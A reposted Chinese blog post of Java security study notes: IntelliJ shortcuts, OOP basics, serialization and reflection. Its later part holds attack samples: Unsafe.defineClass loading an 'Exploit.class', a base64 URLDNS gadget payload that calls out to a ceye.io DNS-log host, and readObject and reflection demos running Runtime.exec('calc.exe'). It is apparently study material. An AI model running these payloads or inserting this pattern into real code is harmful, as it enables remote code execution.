java安全學習-環境准備/基礎知識


補java的坑,開始!

1.Intellij一些快捷鍵

intell常用快捷鍵:

ctrl+n 快速查找定位類的位置

ctrl+q 快速查看某個類的文檔信息

shift + F6 快速類、變量重命名

ctrl + i 在當前類實現接口的方法

ctrl + o 復寫基類的方法

ctrl+shift+空格 推薦適用於當前函數的變量

alt+insert 快速設置類的方法

ctrl+shift+a 快速查找各種類,變量,操作

ctrl+alt+t 自動生成異常捕獲塊

ctrl+alt+b 定位抽象方法的實現

ctrl+alt+v 反射提取出類的對象

ctrl+/ 注釋/取消單行

ctrl+shift+/ 注釋多行

 shift+F1 瀏覽器中打開當前元素對應的文檔

 ctrl+shift+上下箭頭可以快速移動當前行到某一行

 表達式后面加點.就可以選擇要自動添加的條件

ctrl+shift+m 可以把代碼塊定義到一個新的方法中,用於代碼復用

ctrl+alt+c 用於提取指定變量

ctrl+alt+b 定位到當前接口的實現處

ctrl+alt+l 可以使整個代碼界面更整齊,取消單行

 ctrl+p 可以提示你當前函數可以用什么參數,以及參數類型,感覺比較有用

ctrl+shirt+i 可以查看當前方法的具體定義

F2鍵快速定位到下一個報錯的地方

F4可以定位到類的源碼處進行分析

ctrl+F12 可以快速分析出當前文件中的結構,包括類、方法、變量

ctrl + f  查找字符串  F3 定位到下一個匹配的字符串處,shift+f3返回上一個匹配的字符串處

ctrl+shift+enter 快速生成if或for代碼塊

debug技巧:

https://github.com/guobinhit/intellij-idea-tutorial/blob/master/articles/basic-course/debug-skills.md

2.java的一些基礎知識

java 三大特性: 

封裝、多態、繼承

封裝:

類的成員變量不允許直接訪問,必須通過set/get方法來進行訪問,當然要結合變量修飾符private

繼承:

父子關系,不多說,學過c++的都懂,不過java是單繼承不像c++和php是多繼承

多態:

多態又分為引用多態和方法多態

引用多態:

父類的引用可以指向子類的對象

方法多態:

重寫和重載,學過c++的都懂

對象創建的幾種方法:

1.使用new關鍵字 2.使用clone方法 3.反射機制 4.反序列化
其中1,3都會明確的顯式的調用構造函數
2是在內存上對已有對象的影印 所以不會調用構造函數
4是從文件中還原類的對象 也不會調用構造函數

多態存在的三個必要條件

繼承

重寫

父類引用指向子類對象

TIPS:在繼承鏈中對象方法的調用存在一個優先級:this.show(O)、super.show(O)、this.show((super)O)、super.show((super)O)。

比如a繼承A  定義

A j = new a() ;

j.show();

那么引用變量A指向子類的對象,這里this為A,那么先去A中找滿足入口參數的函數,找不到再去A的父類object中找,找不到的話就將入口參數向上轉型,如果此時子類重寫了該方法,則調用子類的該方法,如果沒有重寫,則直接調用A的該方法

注意:不允許通過父類的引用調用子類獨有的方法。 

apache-tomcat-7.0.34\webapps下默認是部署的Web項目。webapps 下的文件夾就是你的項目名了,而項目下的WebRoot一般就是網站的根目錄了,WebRoot下的文件夾WEB-INF默認是不讓Web訪問的,一般存在配置泄漏多半是nginx配置沒有過濾掉這個目錄。

關於java數組對象的文章:

https://blog.csdn.net/zhangjg_blog/article/details/16116613#t1

java虛擬機自動創建了數組類型,可以把數組類型和8種基本數據類型一樣, 當做java的內建類型。這種類型的命名規則是這樣的

* 每一維度用一個[表示;開頭兩個[,就代表是二維數組。
* [后面是數組中元素的類型(包括基本數據類型和引用數據類型)

講得很好,java數組也是對象,對象在計算機中實際上就是一個內存塊,這個內存塊中存儲着該對象的屬性等數據,對於基本類型而言

 

 對於基本類型的數組可以通過調用getclass方法來獲得其對應的類的名字,而直接定義的基本數據類型無法調用方法,因此數組為對象,而對於基本數據類型,java中向上轉型不適合,

 

 例如上圖這種方式的數組轉型是不適合基本數據類型的,只能夠使用:

 

 因為所有的對象的頂層的類均為object,但是對於string可以使用object[]來進行向上轉型,

 

並且此時sting[]類型的直接父類為object,而不是為object[],但是java是單繼承的,即此時可以理解為object[]類型的引用可以指向string[]對象的引用,即string[]不繼承自object[],但是卻可以向上轉型為object[],即這是java中的一種特例。

 

序列化

反序列化漏洞的本質就是反序列化機制打破了數據和對象的邊界,導致攻擊者注入的惡意序列化數據在反序列化過程中被還原成對象,控制了對象就可能在目標系統上面執行攻擊代碼。Java序列化應用於RMI JMX JMS(Java Message Service) 技術中。

Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。

java中得到一個對象的方法有四種:

對象創建的幾種方法:
1.使用new關鍵字 2.使用clone方法 3.反射機制 4.反序列化,5.通過unsafe類
其中1,3都會明確的顯式的調用構造函數
2是在內存上對已有對象的影印 所以不會調用構造函數
4是從文件中還原類的對象 也不會調用構造函數

Unsafe類在提升Java運行效率,增強Java語言底層操作能力方面起了很大的作用,其和Runtime一樣采用單例模式,通過以下代碼就能繞過調用構造函數來得到一個object,直接調用其defineclass拿到class的實例

    FileInputStream  fi = new FileInputStream(System.getProperty("user.dir")+"/target/classes/asm/Exploit.class");
    byte[] a = new byte[fi.available()];
    fi.read(a);
    String payload = Base64.encodeBase64String(a);
    byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(payload);
        java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
        unsafe.allocateInstance(unsafe.defineClass("asm/Exploit", bytes, 0, bytes.length,exectest.class.getClassLoader(),null)); //執行static代碼塊
  

構造一個對象,分配內存和調用構造函數實際是兩個不同的步驟。我們要創建一個對象,實際只需要分配它的內存就可以了

allocateInstance()方法提供了另一種創建實例的途徑。通常我們可以用new或者反射來實例化對象,使用allocateInstance()方法可以直接生成對象實例,且無需調用構造方法和其它初始化方法。

這在對象反序列化的時候會很有用,能夠重建和設置final字段,而不需要調用構造方法。

 實際上defineClass用的是本地的方法實現

利用框架提供的一些工具類也能實現反序列化:

 

 在其內部封裝原生的反序列化

 String a = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QADnA5dGRsby5jZXllLmlvdAABL3EAfgAFdAAEaHR0cHB4dAAWaHR0cDovL3A5dGRsby5jZXllLmlvL3g=";
 org.springframework.util.SerializationUtils.deserialize(sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(a));
 //URLDNS的gadget

一個類的對象要想序列化成功,必須滿足兩個條件:

該類必須實現 java.io.Serializable 對象

該類的所有屬性必須是可序列化的。如果有一個屬性不是可序列化的,則該屬性必須注明是短暫的。

檢驗一個類的實例是否能序列化十分簡單, 只需要查看該類有沒有實現 java.io.Serializable接口。

實現Serializable和Externalizable接口的類的對象才能被序列化。

Externalizable接口繼承自 Serializable接口,實現Externalizable接口的類完全由自身來控制序列化的行為,而僅實現Serializable接口的類可以采用默認的序列化方式 。

ObjectOutputStream 類用來序列化一個對象

以下是最簡單的序列化和反序列化的過程,通過ObjectOutStream的writeObject來將對象寫入到文件中,通過ObjectInputStream的readObject來讀取文件中序列化的對像,這里反序列化的時候原始的對象是Object,要用(類名)轉換成對應類的對象才能恢復序列化的對象

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.*;
public class xuliehua implements  Serializable{
    public  static  String a="a";


    public static  void main(String[] args) {
        xuliehua test = new xuliehua();
        try {
            ObjectOutputStream t = new ObjectOutputStream(new FileOutputStream("./xuliehua"));
            t.writeObject(test);
            t.close();

            ObjectInputStream tt = new ObjectInputStream(new FileInputStream("xuliehua"));

            xuliehua x = (xuliehua) tt.readObject();
            System.out.println(x.a);
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }

    }
}

 java生成的序列化數據是字節序列,base64一下更易讀

自定義序列化和反序列化過程,就是重寫writeObjectreadObject方法

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.*;
public class xuliehua implements  Serializable{
    public  static  String a="a";
    private void readObject(ObjectInputStream in) {
        try {
            in.defaultReadObject();
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
    public static  void main(String[] args) {
        xuliehua test = new xuliehua();
        try {
            ObjectOutputStream t = new ObjectOutputStream(new FileOutputStream("./xuliehua"));
            t.writeObject(test);
            t.close();
            ObjectInputStream tt = new ObjectInputStream(new FileInputStream("xuliehua"));
            xuliehua x = (xuliehua)tt.readObject();
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }

    }
}

 運行以上代碼即可彈出計算器,這里實際上利用了java多態特性的重寫,重寫readObject方法,其中紅色的一行Runtime.getRuntime.exec即自定義的執行命令的語句,而大部分Java反序列化漏洞的原理就是某個類重寫了readObject方法

java反射機制:

程序在運行狀態中, 可以動態加載一個只有名稱的類, 對於任意一個已經加載的類,都能夠知道這個類的所有屬性和方法; 對於任意一個對象,都能調用他的任意一個方法和屬性;

加載完類之后, 在堆內存中會產生一個Class類型的對象(一個類只有一個Class對象), 這個對象包含了完整的類的結構信息,而且這個Class對象就像一面鏡子,透過這個鏡子看到類的結構,所以被稱之為:反射

每個類被加載進入內存之后,系統就會為該類生成一個對應的java.lang.Class對象,通過該Class對象就可以訪問到JVM中的這個類.

Class對象的獲取方法:

實例對象的getClass()方法;

類的.class(最安全/性能最好)屬性;

運用Class.forName(String className)動態加載類,className需要是類的全限定名(最常用).
注意,使用功能”.class”來創建Class對象的引用時,不會自動初始化該Class對象,使用forName()會自動初始化該Class對象

import java.awt.desktop.SystemEventListener;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class reflection {
    public static void main(String[] args) {
    Class test = Test.class; //此時通過.class創建類test的引用
    System.out.println("恢復"+test.getName());
    Method[] methods = test.getMethods();  //通過Class類型的對象來訪問test類的所有方法
    for (Method method : methods) {
        System.out.println("method =>"+method.getName());
    }
        try {
            Method method= test.getMethod("hack",String.class); //通過class類型的對象的getMethod方法來訪問該反射類中的方法,第二個參數為該方法的類型,此處為string型
            Object x = method.invoke(new Test("tr1ple"),"23333"); //通過Method類型的method變量來調用invoke來調用getmthod已經定位到的方法,此時第一個參數為反射類的一個實例化對象,
第二個參數為該方法的入口參數 System.out.println(x); }
catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } } } class Test { private String a; public Test(String a) { this.a=a; } public String hack(String b) { try { System.out.println("tet"+this.a+"and "+ b); Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return b; } }

 即整個反射鏈的實際調用情況為:

1.TEST.class獲得類的class類型對象,便於訪問TEST類內部結構

2.通過類對象->getmethod()來定位需要調用的方法

3.通過Method類型的變量調用invoke方法來進行反射,完成最終反射調用函數的觸發

 

 參考:

https://www.cnblogs.com/pkufork/p/java_unsafe.html

講序列化和反序列化 很詳細:

https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#%E7%BB%8F%E5%85%B8%E7%9A%84apache-commons-collections

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM